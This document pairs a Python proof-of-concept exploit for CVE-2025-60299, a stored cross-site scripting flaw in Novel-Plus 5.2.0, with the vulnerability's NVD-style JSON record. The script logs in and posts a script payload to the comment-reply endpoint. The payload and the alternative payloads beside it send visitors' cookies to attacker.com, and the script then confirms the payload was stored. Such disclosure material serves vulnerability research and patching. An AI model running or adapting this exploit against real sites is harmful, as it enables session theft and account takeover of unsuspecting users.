CVE-2025-60299

# CVE-2025-60299 - Novel-Plus Stored XSS PoC # Vulnerability: Stored XSS via /book/addCommentReply endpoint # Parameter: replyContent import requests TARGET_URL = "http://target-novel-plus.com" LOGIN_URL = f"{TARGET_URL}/login" REPLY_URL = f"{TARGET_URL}/book/addCommentReply" # Step 1: Login with valid credentials (low privilege user) session = requests.Session() login_data = { "username": "attacker_user", "password": "attacker_password" } session.post(LOGIN_URL, data=login_data) # Step 2: Craft malicious XSS payload # The payload will be stored in the database and executed # when other users view the comment thread xss_payload = '<script>document.location="http://attacker.com/steal?cookie="+document.cookie</script>' # Alternative payloads for different scenarios: # payload2 = '<img src=x onerror=alert(document.cookie)>' # payload3 = '<svg onload=fetch("http://attacker.com/log?data="+document.cookie)>' # Step 3: Submit the malicious reply via the vulnerable endpoint reply_data = { "bookId": "1", # Target book ID "commentId": "100", # Parent comment ID to reply to "replyContent": xss_payload # Malicious JavaScript payload } response = session.post(REPLY_URL, data=reply_data) if response.status_code == 200: print("[+] XSS payload successfully stored in the database") print("[+] When other users view this comment thread, the script will execute") else: print(f"[-] Failed to submit payload. Status code: {response.status_code}") # Step 4: Verification - fetch the comment page to confirm payload storage comment_page = session.get(f"{TARGET_URL}/book/bookDetail/1") if xss_payload in comment_page.text: print("[+] Payload confirmed stored - vulnerability is exploitable")

{"cve": {"id": "CVE-2025-60299", "sourceIdentifier": "[email protected]", "published": "2025-10-08T13:15:34.790", "lastModified": "2025-10-10T16:18:08.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Novel-Plus with 5.2.0 was discovered to contain a Stored Cross-Site Scripting (XSS) vulnerability via the /book/addCommentReply endpoint. An authenticated user can inject malicious JavaScript through the replyContent parameter when replying to a book comment. The payload is stored in the database and is executed in other users’ browsers when they view the affected comment thread."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:xxyopen:novel-plus:5.2.0:*:*:*:*:*:*:*", "matchCriteriaId": "8B463D89-2BCF-4A41-9AC7-D51AA815A420"}]}]}], "references": [{"url": "https://github.com/201206030/novel-plus", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://notes.sjtu.edu.cn/s/OtnFaGbI4", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://notes.sjtu.edu.cn/s/OtnFaGbI4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}